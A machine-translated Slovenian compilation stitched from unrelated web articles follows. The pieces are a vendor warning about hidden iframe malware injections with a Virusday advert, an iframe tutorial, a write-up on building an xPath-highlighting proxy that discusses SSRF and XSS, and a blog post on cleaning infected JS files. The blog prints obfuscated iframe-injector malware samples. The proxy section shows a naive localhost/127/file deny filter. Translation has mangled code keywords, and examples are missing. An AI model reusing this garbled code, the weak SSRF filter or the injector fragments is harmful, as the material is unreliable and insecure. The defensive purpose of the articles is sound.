Kako vstaviti iframe v HTML: primer uporabe. iframe in okvir – kaj sta in kako najbolje uporabiti okvirje v Html Spreminjanje relativnih URL-jev v absolutne v kodi strani

Eden najpogostejših načinov okužbe računalnika obiskovalcev spletnega mesta je izkoriščanje ranljivosti, povezane s prepolnitvijo medpomnilnikov brskalnika uporabnika. Recept je čisto preprost. Napadalci vstavijo zlonamerno kodo tako, da na spletne strani vstavijo iframe in poskušajo prenesti zlonamerne datoteke v računalnik nič hudega slutečega uporabnika. Takšne zlonamerne vložke na vaših spletnih mestih je zelo enostavno odkriti. Pozorni morate biti samo na fragmente kode, ki uporabljajo povezavo iframe. Takšni vstavki so lahko v datotekah HTML in PHP.

Napadalci skoraj vedno poskušajo čim bolj skriti uporabo zlonamernih stav pred lastniki, jih vizualno skrijejo za uporabnike virov in zameglijo (zameglijo) njihovo kodo.

Skrivanje vstavkov iframe pred očmi uporabnikov

Za prikrivanje zlonamernega vložka hekerji v večini primerov vedno znova uporabljajo isto metodo – lastnosti oznake nastavijo tako, da ni prikazana na strani, ampak je vsebovana v njeni kodi. Najpogosteje sta širina in dolžina nastavljeni na nič ali en piksel: width="1px", height="1px".

Zlonamerna koda je lahko na primer videti takole:

Vendar se hekerji pogosto ne omejujejo na takšno preobleko, ampak prikrivanje dopolnijo z bolj sofisticiranimi tehnikami, ki lahko zmedejo in otežijo iskanje in izločanje celo za napredne programerje.

Zamegljenost

To je eden najpogostejših načinov zaščite kode pri programiranju v nestrukturiranih jezikih (kot je na primer PHP). Pravzaprav gre pri vsem šifriranju za mešanje/zakrivanje same kode s spreminjanjem imen spremenljivk in drugih elementov. Posledično je precej težko prepoznati znake zlonamernosti v zamegljeni kodi in je to mogoče le na podlagi posrednih znakov eksplicitne uporabe posebnih funkcij JS (JavaScript), ki se uporabljajo posebej za zamegljevanje: unescape , fromCharCode .

Vendar odkritje zakrite kode na spletnem mestu ne pomeni, da je zagotovo škodljiva ali jo je enostavno odstraniti. Razumeti morate, da bi napadalci najprej lahko zameglili kodo in zajeli tudi del delovne kode spletnega mesta. V tem primeru, ko poskušate izrezati šifriran fragment, tvegate zrušitev vašega vira. Drugič, zakrita koda morda ni zlonamerna, temveč le posledica delovanja vašega CMS-ja ali njegovih posameznih komponent ter dodatnih modulov, ki ste jih namestili.

V vsakem primeru, če naletite na sumljivo zakrito kodo, morate ukrepati zelo previdno.

Drugi znaki okužbe

Če dvomite, ali je koda, ki ste jo našli, zlonamerna, lahko poskusite analizirati posredne znake. Če imate na svojem spletnem mestu veliko datotek, boste morda želeli biti pozorni na datum in uro zadnja sprememba datoteke. Če dobro poznate scenarije, kako vaš CMS deluje z datotekami, si lahko podrobneje ogledate datoteke, spremenjene na isti datum ob istem času, ali s spremembami, ki se zgodijo v istem časovnem intervalu, na primer 1 sekundo.

Če ste napreden programer, lahko napišete skript, ki preverja prisotnost vrste vstavkov, ki ste jih zaznali v vseh datotekah na vašem spletnem mestu. Če ste še bolj napredni, lahko skripto prisilite v izrezovanje vložkov, vendar morate biti vedno previdni.

Alternativne metode

Priporočamo, da uporabite storitev Virusday za odstranjevanje zlonamernih vstavkov, tudi če ste napreden strokovnjak. Naša storitev ne vsebuje samo številnih podpisov, ki jih je mogoče uporabiti za iskanje zlonamernih kod, ampak tudi prihrani čas! Poleg tega bodo stroški uporabe Virusdaya za čiščenje verjetno veliko nižji od plačila vašega lastnega časa. Odkrili in odstranili boste lahko ne samo vstavke iframe, ampak tudi številne druge grožnje. Verjetno boste lahko našli in samodejno odstranili grožnjo, ki je povzročila prikaz vstavkov iframe na vašem spletnem mestu, kot je Shell.

Servisna ekipa Virusday.

Na zori gradnje spletnih strani so spletni viri pogosto uporabljali okvirje za prikaz posameznih delov strani. Toda s prihodom nova različica HTML 5 je spremenil vse. Označevalni elementi in so zastareli. Nadomestila jih je ena sama oznaka - . Kako dodati v html? Spodnji primer bo jasen tudi začetniku v programiranju.

Kaj so okvirji?

Okvir je osnova večine prvih spletnih strani. V dobesednem prevodu ta beseda pomeni "okvir", kar pomeni, da je okvir majhen del strani v brskalniku. Široko uporabo okvirjev v preteklosti je mogoče pojasniti z nizko kakovostjo in visokimi stroški internetnega prometa. Stran je bila praviloma razdeljena na 3-5 delov, od katerih je vsak služil določenemu namenu:

  • “glava” (zgornji okvir po širini strani) - prikaže ime vira;
  • levo/desno “steklo” - prikaz menija;
  • Osrednji okvir je prikaz vsebine spletnega mesta.

Razdelitev strani na dele je omogočila preobremenitev le določenega dela pri posodabljanju. Na primer, uporabnik je kliknil element menija in nova vsebina je bila prenesena v osrednji okvir.

Sodobni okvirji v HTML 5

Zakaj je to potrebno v HTML? Primer je vstavljanje vsebine iz vira tretje osebe. Klasična situacija je, ko želi spletni razvijalec prikazati lokacijo objekta na zemljevidu. Kaj naj naredim? Narisati načrt mesta iz nič? Ne - obstaja enostavnejša rešitev: na stran vdelajte element Google Map, Yandex Maps ali 2GIS. Problem se rešuje v štirih korakih.

  • Morate iti na spletno mesto katere koli storitve za zemljevide.
  • Poiščite želeni predmet. Ko poznate točen naslov, ga lahko vnesete v iskalnik.
  • Z uporabo gumba »Shrani in pridobi kodo« (za Yandex.Maps) ali »Končano« (za Google zemljevidi) dobite kodo za vdelavo.
  • Vse kar ostane je, da na stran vnesete ustvarjene označevalne oznake.
  • Poleg tega lahko izberete velikost zemljevida in konfigurirate druge možnosti prikaza.

    Kako drugače ga lahko uporabite v HTML?? Primer je vstavljanje video materialov iz vira Youtube. Multimedijske tehnologije pritegnejo uporabnike interneta, zato so video vsebine tako priljubljene. Razvijalec bo hitro poskrbel za namestitev videa.

  • Prenesite svoj videoposnetek na Youtube ali poiščite datoteko tretje osebe za predvajanje.
  • Oznako dobite tako, da izberete gumb "HTML Code".
  • Zadnji korak je lepljenje v . Spodaj bo obravnavan primer nastale vsebine oznake.
  • Oba primera sta uporabila samodejno ustvarjanje kode, vendar bi morali biti profesionalni razvijalci sposobni sami napisati kodo. Prvič, to jim bo omogočilo, da razumejo postavitev strani in jo po potrebi spremenijo. Drugič, oznaka elementov spletnega mesta (čeprav pripadajo zunanjemu viru) ni vedno oblikovana brez sodelovanja spletnega skrbnika. Tu pridejo do izraza visoke kvalifikacije razvijalca.

    Sintaksa

    Torej, preden začnete postavljati stran, morate razmisliti o oznaki iframe (html): kaj je in kako jo pravilno uporabljati.

    Najprej je treba opozoriti, da je oznaka seznanjena. Med začetnim in zapiralnim elementom določite vsebino, ki bo prikazana v brskalnikih, ki ne podpirajo tega označevalnega elementa. Glavni atributi oznake:

    • širina (širina);
    • višina (višina);
    • src (naslov prenesenega vira);
    • poravnaj (metoda poravnave);
    • obroba okvirja;
    • dovoli cel zaslon.

    Tako je koda za. Primer HTML je v celoti prikazan spodaj:

    V zgornji oznaki je dovolj, da zamenjate naslov spletnega mesta s katerim koli drugim in po potrebi prilagodite velikost okvirja.

    Element

    Okvirji

    Kaj to naredi?

    Kako vstaviti stran v stran HTML? Če želite to narediti, morate uporabiti , ki ustvari okvir v vrstici v trenutnem dokumentu, v katerem je prikazan drug dokument HTML.

    Zaslon

    Prikazni blok.

    Primer kode

    Zmogljiv, a enostaven za uporabo

    V slabih starih časih spletnega oblikovanja je bilo veliko elementov, ki so uničili življenje vsakega razvijalca. Skoraj vedno so bili slab oblikovalski pristop. Na srečo je bil element v HTML5 opuščen. Vendar je še vedno na voljo "inline frame". Ali bo v naslednji različici opuščen? Mogoče bi se morali temu izogniti? Obstaja več veljavnih uporab tega elementa pri ustvarjanju strani HTML. Vendar morate razumeti, kaj je in kako deluje, da se izognete napakam.

    Podobnosti in razlike ter

    Oba elementa omogočata ustvarjanje ločenega dokumenta HTML. Povezava do vsebine dokumenta, na katero se sklicuje trenutna spletna stran, je navedena v atributu src.

    . . . . . .

    Glavna razlika med in je, da uveljavlja pravilo, da ima dokument HTML prednost. Vsebina je prikazana znotraj elementa, ki je del trenutnega dokumenta. Kot primer razmislite o tem vdelanem videoposnetku iz YouTuba:

    Videoposnetek je očitno na strani HTML in ne na nekaterih ločena plošča. element je zlomil to paradigmo in dokumentu omogočil nadzor nad oknom brskalnika ter ga razdelil na več majhnih plošč (okvirjev), od katerih vsaka prikazuje ločen dokument. Vse druge razlike med in izhajajo iz te osnovne razlike.

    Postavitev, ki temeljijo na okvirju, ne preoblikujte z okvirji iframes

    Nekega dne se boste morda soočili z nalogo posodobitve starega spletnega mesta, ki je bilo zgrajeno z okvirji. Morda boste želeli uporabiti tudi postavitev s fiksno širino, da ponovno ustvarite isto nočno moro neodvisnih plošč in pragov. Vendar ne boste mogli uporabljati ciljni atribut da odprete povezavo v ločenem okvirju. Lahko začnete iskati rešitve JavaScript. Prosim, ne počni tega.

    Dobra (in grozna) uporaba

    Obstaja več veljavnih primerov uporabe za Izdelava HTML strani:

    • vdelava medijskih vsebin tretjih oseb;
    • vdelava lastne medijske vsebine prek dokumenta na več platformah;
    • primeri kode za vdelavo;
    • vdelava »apletov« tretjih oseb kot načinov plačila.

    Tukaj je nekaj groznih primerov uporabe:

    • Foto galerija;
    • forum ali klepet.

    Če morate v trenutnega vdelati neodvisne, že obstoječe dokumente HTML, uporabite . Če gradite vse od začetka, ni razloga, da bi zasnovo strani razdelili na več ločenih dokumentov. Še posebej, če niso dejansko neodvisni deli vsebine.

    atributi iframe
    Ime atributa Pomen Opis
    peskovnik Dovoli-isti-izvor
    Dovoli navigacijo na vrhu
    Dovoljeni obrazci
    Allow-skripti
    Nastavi številne omejitve za vsebino, naloženo v okvir. Nastavite pred ustvarjanjem strani HTML.
    pomikanje da ne avto Določa, ali naj se v okvirju prikažejo drsniki ali ne. Zastarelo v HTML5. Namesto tega uporabite CSS.
    Ime Ime Določa ime okvirja.
    Poravnaj levo desno zgoraj
    srednje dno
    Določa poravnavo okvirja glede na okoliške elemente. Je zastarel. Namesto tega uporabite CSS.
    obroba okvirja da (ali 1)
    št
    Uporablja se za omogočanje prikaza obrobe okoli okvirja. Zastarelo v HTML5. Namesto tega uporabite CSS.
    longdesc URL Uporablja se za določitev URL-ja strani, ki vsebuje dolg opis vsebine okvira. Je zastarel. Namesto tega uporabite CSS.
    marginwidth slikovnih pik Uporablja se za nadzor širine odmika od vsebine do roba okvirja. Je zastarel. Namesto tega uporabite CSS.
    src URL Podaja URL dokumenta za prikaz v IFRAME.
    vspace slikovnih pik Nastavi navpične robove od okvirja do okoliške vsebine. Je zastarel. Namesto tega uporabite CSS.
    premer slikovnih pik % Določa širino okvirja z stran HTML.

    Ta publikacija je prevod članka “”, ki ga je pripravila prijazna projektna ekipa

    Naredili smo analog orodja Google Webmaster Marker. Naj vas spomnim, da je Marker orodje v računu Google Webmaster, ki vam omogoča, da svoje strani Open Graph označite z oznakami. To storite tako, da z miško izberete del besedila na strani in označite, da je to naslov, to pa je ocena. Vaša stran se naloži v iframe v računu spletnega skrbnika.

    Zdaj Google, ko je na vašem spletnem mestu naletel na podobno stran, že ve, kakšna vsebina je na njej objavljena in kako jo lepo razčleniti v njeno bistvo (članek, izdelek, video..)

    Potrebovali smo podobno funkcionalnost. Naloga se je zdela preprosta in izključno na strani stranke. Vendar pa je v praksi rešitev na presečišču strani odjemalca in strani strežnika ("čisti" JS programerji morda ne vedo ničesar o različnih proxy strežnikih in potrebujejo zelo dolgo časa, da pristopijo k projektu). Na spletu pa nisem našel članka, ki bi opisal celotno tehnologijo od začetka do konca. Prav tako bi se rad zahvalil uporabniku BeLove in našim varnostnikom za pomoč.

    V našem primeru smo želeli, da lahko spletni skrbnik udobno (s klikom z miško) pridobi vrednost xPath za določene elemente na svoji strani.

    Iframe “Same Origin” In tako mora oseba v našo skrbniško ploščo vnesti URL strani svojega spletnega mesta, prikazali ga bomo v iFrame, oseba bo z miško pokazala, kjer je potrebno, dobili bomo zahtevano xPath. Vse bi bilo v redu, vendar zaradi varnostne politike brskalnika nimamo dostopa do vsebine strani iz druge domene, ki je naložena v okvir iframe v naši skrbniški plošči (naša domena). CORS - Skupna raba virov navzkrižnega izvora. za uporabo CORS. Modna tehnologija, ki rešuje številne težave z dostopom do vsebine iz druge domene v brskalniku in vam omogoča, da obidete omejitve politike istega izvora.
    Spletno mesto, ki želi omogočiti dostop do svoje vsebine na straneh domene nekoga drugega, preprosto zapiše v glavo http:
    Access-Control-Allow-Origin: http://example.com
    In v naslovu http zahteva ki prihajajo s strani druge domene iz brskalnika, mora obstajati izvorno polje:
    Izvor: www.mysupersite.com
    Jasno je, da brskalnik sam doda zahtevi izvorno polje. Poglejmo članek na Habréju in ugotovimo, da sodobni brskalniki dodajo Origin celo zahtevi za isto domeno:

    Vendar:

  • brskalnik ne navaja izvora v glavi zahteve za nalaganje strani v iframe (lahko kdo pojasni, zakaj?)
  • od spletnih skrbnikov ne želimo zahtevati, da določijo glavo Access-Control-Allow-Origin
  • Peskovnik iframe Še ena modna tehnologija. Peskovnik je atribut oznake iframe. Eno od vrednosti tega atributa lahko nastavite na enable-same-origin. Preden sem začel kopati po tej temi, nisem vedel, kaj točno ta atribut počne, vendar je zvenelo zelo mamljivo. Vendar pa atribut peskovnika preprosto omejuje, kaj lahko naredi stran, naložena v iframe, in nima nobenega vpliva na vprašanje dostopa do vsebine okvira iz nadrejenega dokumenta.

    Natančneje, vrednost allow-same-origin (ali bolje rečeno, njena odsotnost) samo pove, da je treba iframe vedno obravnavati kot naložen iz tuje domene (na primer, ne morete poslati Zahteva AJAX v domeno nadrejenega dokumenta)

    Poglejmo, kako je to uspelo Googlu. Čas je, da vidimo, kako je to uspelo velikemu bratu

    Bodimo pozorni na atribut src elementa iframe: src="https://wmthighlighter.googleusercontent.com/webmasters/data-highlighter/RenderFrame/007....." - naša stran se naloži v skrbniško ploščo z Googlova domena. Poleg tega je še hujše: celo skripte in slike v izvornem dokumentu se izvajajo prek posrednika. Vsi src, href... so v html zamenjani s posredniškimi. Nekaj ​​podobnega:

    Vsi viri, ki jih uporablja vaša stran, so shranjeni tudi na Googlovih proxy strežnikih. Tukaj je na primer naš.

    CGIProxy? Takoj se je zdelo, da morate za isto stvar dvigniti polnopravni proxy, kot je CGIProxy. Ta proxy strežnik počne približno enako kot Googlov wmthighlighter.googleusercontent.com
    Obiščite URL skripta, da začnete sejo brskanja. Ko dobite stran prek proxyja, bo vse, do česar se povezuje, samodejno šlo skozi proxy. Strani, po katerih brskate, lahko dodate med zaznamke in vaši zaznamki bodo šli prek strežnika proxy, kot so to storili prvič. Vaš lastni proxy! Če pa nalogo zožite, je pisanje preprostega proxyja veliko lažje. Dejstvo je, da Google to počne, pošiljanje celotne vsebine strani prek proxyja sploh ni potrebno. Potrebujemo le html katere koli strani, ki se streže iz naše domene, vire pa lahko naložimo iz izvirne domene. HTTPS smo za zdaj zavrgli.
    Tukaj ni potrebe po super zmogljivosti ali enostavnih nastavitvah, to pa je mogoče narediti hitro in z uporabo česar koli, od node.js do php. Napisali smo strežniški programček v Javi. Prenesite stran Kaj naj počne strežnik proxy? S pomočjo parametra get dobimo url strani, ki jo je treba naložiti, nato stran prenesemo.

    Prepričajte se, da ste določili kodiranje strani (prek odziva http ali nabora znakov v html) - naš proxy se mora odzvati v istem kodiranju kot stran, ki smo jo naložili. Za vsak slučaj bomo tudi definirali Content-Type, čeprav je jasno, da stran dobimo v besedilu/html in jo bomo vrnili na enak način.
    končni niz url = request.getParameter("url"); končni HttpGet requestApache = nov HttpGet(url); končni HttpClient httpClient = nov privzetiHttpClient(); končni HttpResponse responseApache = httpClient.execute(requestApache); končna entiteta HttpEntity = responseApache.getEntity(); končno kodiranje niza = EntityUtils.getContentCharSet(entity); končni niz mime = EntityUtils.getContentMimeType(entity); String responseText = IOUtils.toString(entity.getContent(), kodiranje);
    *Za tiste, ki radi ocenjujete kodo drugih ljudi: v naši ekipi imajo vsi enake nastavitve oblikovanja kode eclicpse in pri shranjevanju datoteke eclipse sam doda finale vsem spremenljivkam, če se ne spremenijo nikjer drugje. Kar je, mimogrede, na koncu zelo priročno.

    Spreminjanje relativnih URL-jev v absolutne v kodi strani Pregledati morate vse atribute s src in href na strani (poti stilskih datotek, slik) in zamenjati relativne URL-je z absolutnimi. V nasprotnem primeru bo stran poskušala prenesti slike iz nekaterih map na našem proxyju, ki ga seveda nimamo. Vsak jezik ima že pripravljene razrede ali pa najdete delčke kode za to na stackoverflow:
    končni URI uri = nov URI(url); končni gostitelj niza = uri.getHost(); responseText = replaceRelativeLinks(host, responseText); Pošiljanje html To je vse, strežnik proxy je pripravljen. Pošljemo odgovor, nastavimo zahtevano kodiranje in mime.
    protected void sendResponse(HttpServletResponse response, String responseText, String encoding, String mime) vrže ServletException, IOException ( response.setContentType(mime); response.setCharacterEncoding(encoding); response.setStatus(HttpServletResponse.SC_OK); response.getWriter(). print(responseText); response.flushBuffer(); ) Razmestite in preizkusite naš strežnik proxy na isti naslov kot skrbniška plošča adminpanel.indexisto.com, naložite spletno stran spletnega skrbnika v naš iframe prek proxyja in vse težave med domenami izginiti.
    Naš proxy deluje na
    http://adminpanel.indexisto.com/highlighter?url=http://habrahabr.ru
    - tako se bo vozlišče naložilo iz naše domene. Ta naslov damo v iframe in poskušamo dostopati do drevesa DOM huba prek JS v skrbniški plošči - vse deluje. CSRF seveda ne bo deloval, ker je bila stran naložena iz našega proxyja, ki nima piškotkov. Težava s SSRF. začetna stran naš nginx. Poskusimo z notranjim (zunaj nevidnim) virom v istem omrežju kot naš proxy strežnik. Na primer secured_crm.indexisto.com - vse je na svojem mestu.
    Seveda poskušamo prepovedati te stvari v našem proxyju, če nekdo poskuša posredovati localhost, zapustimo, ne da bi vrnili karkoli:
    if (url.contains("localhost")||url.contains("127")||url.contains("highlighter")||url.contains("file")) ( LOG.debug("Poskušam pridobiti lokalni vir. Url = " + url); return; )
    vendar tukaj očitno ne bomo našteli vseh omrežnih virov. To pomeni, da moramo proxy premakniti v popolnoma izolirano okolje, tako da stroj ne vidi ničesar razen interneta, sebe in našega proxyja. Izberemo stroj, tam konfiguriramo in zaženemo naš servlet. Naložimo našo stran v naš iframe, na katerega bomo zapisali:
    opozorilo ("xss")
    Pojavi se opozorilo. Žalostno. To je mogoče zaobiti z atributom dovoljenih skriptov peskovnika iframe, kaj pa starejši brskalniki, ki tega atributa v resnici ne razumejo? Lahko samo ukradete svoje piškotke, vendar jih še vedno ne morete pustiti kar tako.
    Strežniškega programčka premaknemo ne le na ločen stroj, temveč mu damo tudi ločeno poddomeno highlighter.indexisto.com.

    Prispeli smo, porušili smo lastno rešitev z obhodom omejitev med domenami. Zdaj spet ne moremo doseči vsebine iframe.

    V nadaljevanju iskanja Googlove rešitve sem v ločenem oknu odprl našo stran, ki je bila vročena prek proxyja

    In opazil sem čudno napako v konzoli.
    CrossPageChannel: ni mogoče vzpostaviti povezave, enakovredni okenski objekt ni nastavljen.
    Postalo je jasno, da je organiziranje vsega bolj zapleteno kot preprosto nalaganje strani v iframe iz vaše domene. Strani med seboj komunicirajo. V skladu s tem se premikamo proti window.postMessage

    Objava sporočila Nehumano je bilo prisiliti spletnega skrbnika, da v svojo stran vgradi naš skript, ki bi zagotovil, da so bili elementi strani izbrani z miško, nato pa bi nam bila xPath teh elementov poslana v nadrejenem dokumentu prek postMessage. Vendar pa nihče ne preprečuje našemu proxyju, da v stran, naloženo v iFrame, vstavi kakršne koli skripte.
    Vse potrebne skripte za implementacijo shranimo v datoteko in jih vstavimo pred zaključno telo:
    final int positionToInsert = responseText.indexOf(""); končni InputStream inputStream = getServletContext().getResourceAsStream("/WEB-INF/inject.js"); končni pisatelj StringWriter = nov StringWriter(); IOUtils.copy(inputStream, pisatelj); končni niz jsToInsert = writer.toString(); responseText = responseText.substring(0, positionToInsert) + jsToInsert + responseText.substring(positionToInsert, responseText.length());
    za testiranje vstavimo opozorilo - vse deluje - označimo hišni element pod miško in dobimo xpath V redu, pojdimo na dejanski JS, ki smo ga vstavili na stran spletnega skrbnika.
    Poudariti moramo elemente doma, čez katere oseba premika miško. Bolje je, da to storite s senco, ker se takrat element ne bo premaknil in bo celotna stran poskočila. Z miško visimo na telesu in gledamo tarčo dogodka. V istem upravljalniku izračunam xpath elementa. Bolje je izračunati xPath elementa na klik, vendar tudi pri tej izvedbi nisem opazil nobenih upočasnitev.
    elmFrame.contentWindow.document.body.onmouseover= function(ev)( ev.target.style.boxShadow = "0px 0px 5px rdeče"; curXpath = getXPathFromElement(ev.target); )
    Tukaj ne ponujam izvedbe pridobivanja xPath elementa DOM. Obstaja veliko odlomkov o tem, kako to storiti. Te delčke lahko spremenite tako, da ustrezajo vašim potrebam, na primer, potrebujete samo oznake v xpath. Ali pa rabiš id-je, če obstajajo, in razrede, če id-jev ni - vsak ima svoje zahteve.

    Tukaj je primer posrednika domača stran Habr z vdelanim skriptom:
    http://highlighter.indexisto.com/?md5=6ec7rdHxUfRkrFy55jrJQA==&url=http%3A%2F%2Fhabrahabr.ru&expires=1390468360

    JS del – obdelava klika Osebov klik na stran v iframe-ju takoj “ugasne” (povezava v iframe-u ne bo sledila). V nadrejeno okno pošljemo tudi niz prejetega xPath-a (shranili smo ga v fazi premikanja miške nad elementom)
    document.body.onclick = function(ev)( window.parent.postMessage(curXpath, "*"); ev.preventDefault(); ev.stopPropagation(); ) Dobiček! To je vse, zdaj lahko spletni skrbnik v naši skrbniški plošči veliko lažje hitro pridobi poti xpath do elementov na svojih straneh.

    Dodajmo več varnosti V redu, vse je delovalo za nas, vendar je problem v tem, da naš proxy gleda v svet popolnoma nezaščiten. Vsakdo lahko posreduje karkoli.

    Pred proxy postavimo nginx, ta posluša vrata 80, sam proxy pa odstranimo na druga vrata. Zapremo vsa druga vrata razen 80 iz zunanjega sveta.

    Zdaj pa poskrbimo, da proxy deluje samo prek skrbniške plošče. V trenutku, ko spletni skrbnik vnese URL svoje strani, hitro poženemo na strežnik, kjer ustvarimo md5 hash iz trenutnega TimeStamp + 1 ura, sam URL in super-skrivnost, ko:
    končni niz md5Me = timeStampExpires + urlEncoded + "SUPERSECRET"; končni MessageDigest md = MessageDigest.getInstance("MD5"); md.reset(); md.update(md5Me.getBytes("UTF-8")); Koda niza = Base64.encodeBase64String(md.digest()); koda = code.replaceAll("/", "_"); koda = code.replaceAll("\\+","-");
    Upoštevajte tudi, da v kodi prejmemo niz md5 ne kot običajni šestnajstiški, ampak v kodiranju base64, poleg tega v nastalem md5 naredimo nenavadne zamenjave znakov poševnice in plus s podčrtaji in pomišljaji.
    Dejstvo je, da ngnix uporablja base64 Filename Safe Alphabet tools.ietf.org/html/rfc3548#page-6
    In Java daje kanonično base64.

    Po prejemu odgovora strežnika z varnim md5 v naši skrbniški plošči poskušamo naložiti naslednji url v iframe:
    highlighter.indexisto.com/?md5=Dr4u2Yeb3NrBQLgyDAFrHg==&url=http%3A%2F%2Fhabrahabr.ru&expires=1389791582

    Zdaj konfiguriramo modul nginx HttpSecureLinkModule. Ta modul preveri md5 vseh parametrov, ki so prišli do njega (v modulu je registriran isti skrivni ključ kot v skrbniškem strežniškem programčku), preveri, ali je bila povezava razčlenjena, in samo v tem primeru posreduje zahtevo našemu strežniku proxy .

    Zdaj nihče ne more uporabljati našega proxyja zunaj skrbniške plošče in tudi ne more nikamor vstaviti slike, ki jo zahteva naš strežnik - tako ali tako bo umrla čez eno uro.

    To je vse, ljudje! Google je šel seveda veliko dlje s svojim orodjem za označevanje, če želite jasno prepoznati element na strani, morate označiti isti element (na primer naslov članka) na več straneh iste vrste. da lahko natančneje zgradite xpath in zavržete različne ID-je, kot je »post-2334«, ki bodo očitno delovali samo na eni strani. Na naši skrbniški plošči je treba za zdaj xpath popraviti ročno, da dobite sprejemljiv rezultat.

    Svoj blog sem hotel začeti z besedili, a je bil tako turbulenten teden, da sem se odločil, da vse pozdravim z vsebinskim člankom. Zdravo!

    In ves teden je minil v vojnah z nenehnim vdiranjem v moje gostovanje in okužbo vseh JavaScript datotek z iframe, in to je nič manj kot približno 2500 skriptov in vseh spletnih mest z virusi.

    Nisem imel časa počistiti vseh datotek v enem dnevu. ročni način in zamenjati gesla, vendar se je naslednji dan vse ponovilo - gesla so nekako ušla in skripte so bile spet uspešno dostopane preko FTP.

    Petek v tednu je bil zadnja kaplja in dan sem preživel ob zaščiti svojih strežnikov:

  • Konfiguriran .ftpaccess na strežnikih - s tem omejite FTP dostop do strežnikov z vseh IP-jev razen vašega statičnega;
  • Napisal sem skript za samodejno odstranjevanje okvirjev iframes in virusov iz vseh datotek .js. Torej po vrsti.
  • Do okužbe datotek spletnega mesta pride s preprostim vstavljanjem kode iframe v datoteke prek ftp-ja. Prej sem pogosteje opazoval vstavljanja v datoteke .php, .html - kar je vodilo do popolnega sesutja spletnih mest, danes je zlonamerna programska oprema postala prijaznejša in je začela pisati izključno vstavke. v datotekah s končnico .js - JavaScript . Vstavki IFRAME so zapisani na koncu datoteke in so lahko v eksplicitni obliki (lahko jih zaznajo protivirusni programi) ali v kodirani obliki (delo različnih kriptorjev iframe), na primer:

    poskusi ( q= document.createElement ("u") ; q.appendChild (q+ "" ) ;) catch (qw) ( h=- 012/ 5 ; zz= "a" + "l" ; f= "fr" + "om" ; f+= "arC" ;) poskusi ( qwe= prototip ; ) catch ( zz= "zv" .substr (123 - 122 ) + zz; ss= ; f+= (h) ) ? "od" ; e= w[ f.substr (11 ) + zz] ; $13$27.5$26.5$2$17.5$26.5" " : "" ) + "p" + "lit" ] ("a$" .substr (1 ) ) ; for (i= 6 - 2 - 1 - 2 - 1 ; i- 684 != 0 ; i++ ) ( k= i; ss= ss+ Niz .fromCharCode (- 1 * h* (3 + 1 * n[ k] ) ) q= ss;

    poskusi(q=document.createElement("u");q.appendChild(q+"");)catch(qw)(h=-012/5;zz="a"+"l";f="fr" +"om"+"Ch";f+="arC";)try(qwe=prototype;)catch(brebr)(zz="zv".substr(123-122)+zz;ss=;f+=(h )?"ode":"";w=this;e=w;n="17$48$55.5$52$46.5$55$49.5$52.5$52$17$17.5$13$58.5$3.5$2$1.5$56$45.5$54$13$55.5$54$51$13$27.5$13$26.5 3 ,5 $ $2$59,5 $17,5$17$17,5$26,5"[(e)?"s":"")+"p"+"lit"]("a$".substr(1));for(i=6-2-1 -2 -1;i-684!=0;i++)(k=i;ss=ss+String.fromCharCode(-1*h*(3+1*n[k]));)q=ss;e (q ;)

    Ves ta simbolni kaos je nastal JavaScript deluje spremeni v lahko berljivo kodo HTML vstavka iframe in prenese telo virusa na uporabnika spletnega mesta prek delovanja izkoriščanja. Na podlagi te minimalne teorije se bomo začeli ščititi pred okužbami spletnih mest.

    Settings.ftpaccess - omeji dostop do FTP na strežnike

    Virusi, ki oropajo vaša gesla za ftp, so tako zviti, da so antivirusi pogosto nemočni in gesla uhajajo, ne glede na to, kako močno se zaščitite. Predlagam, da uberete drugo pot - in preprosto blokirate dostop do vašega ftp-ja. Če želite omogočiti dostop do FTP samo z določenih naslovov IP, postavite datoteko .ftpaccess z vsebino v koren strežnika ali mape spletnih mest:

    Dovoli od xx.xx.xx.xx Dovoli od xx.xx.xx.xx Zavrni od vseh

    Kjer je xx.xx.xx.xx vaš IP, s katerega je FTP aktivnost dovoljena, adijo vsem ostalim.

    Za namenski IP pokličite svojega ponudnika!

    Če še vedno ne morete dobiti namenskega naslova, imate pa dinamične naslove, potem lahko določite obseg naslovov, s katerih naslove IP izda vaš internetni ponudnik, na primer bo videti takole:

    Dovoli 212.32.5.0/26 Dovoli 158.152.0.0/16 Zavrni vsem

    To bo hekerjem omejilo dostop do vaših strežnikov.

    Skript za samodejno odstranitev iz vseh vstavljenih datotek iframe

    Ko so bili strežniki zaščiteni, sem začel pisati skript, ki je lahko preveril spletno mesto za viruse in pregledal vse mape gostovanja ter preveril formate datotek, ki sem jih določil, za prisotnost iframesov v vsebini. Rezultat dela je bil naslednji skript, ki odstrani zlonamerne vstavke kode s strani spletnega mesta, v konkretnem primeru iz skriptov .js:

    1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 $v) ( $virus_text = $GLOBALS [ "virus_start" ] ; $pos_start = stripos ($v , $GLOBALS [ "virus_start" ] ) ; $pos_end = stripos ($v , $GLOBALS [ "virus_end" ] ) ; $ virus_text = substr ($v, $pos_start, $pos_end) ; if ($virus_text != "" ) ( if (! stristr ($v , $virus_text ) ) ( $nfile = $v ; ) else ( if (! $ zastavica ) ( $zastavica = res ; if (in_array ($ffile , $GLOBALS [ "skip_files" ] ) ) echo "- preskočeno" ; else ( echo "- okuženo" ; $GLOBALS [ "num_infected" ] ++; ) ) ) ) else ( $nfile = $v ; ) ) if ( $GLOBALS [ "del" ] ) ( $file = fopen ($filename, "w" ) ; fwrite ($file, implode ($nfile, "" ) ) ; fclose ($file) ) dir_walk("del_virus", $dir, array ("js"), true, $dir); echo "Število okuženih = $število_okuženih " ; ?>

    $v) ( $virus_text = $GLOBALS["virus_start"]; $pos_start = stripos($v, $GLOBALS["virus_start"]); $pos_end = stripos($v, $GLOBALS["virus_end"]); $ virus_text = substr($v, $pos_start, $pos_end); if ($virus_text != "") ( if (!stristr($v, $virus_text)) ( $nfile=$v; ) else ( if (!$ zastavica) ( $flag=true; if (in_array($ffile, $GLOBALS["skip_files"])) echo " - preskočeno"; else ( echo " - okuženo"; $GLOBALS["num_infected"]++; ) ) ) ) else ( $nfile=$v; ) ) if ($GLOBALS["del"]) ( $file=fopen($filename,"w"); fwrite($file,implode($nfile,"")) ; fclose($file) ) dir_walk("del_virus", $dir, array("js"), true, $dir); echo "Število okuženih = $število_okuženih "; ?>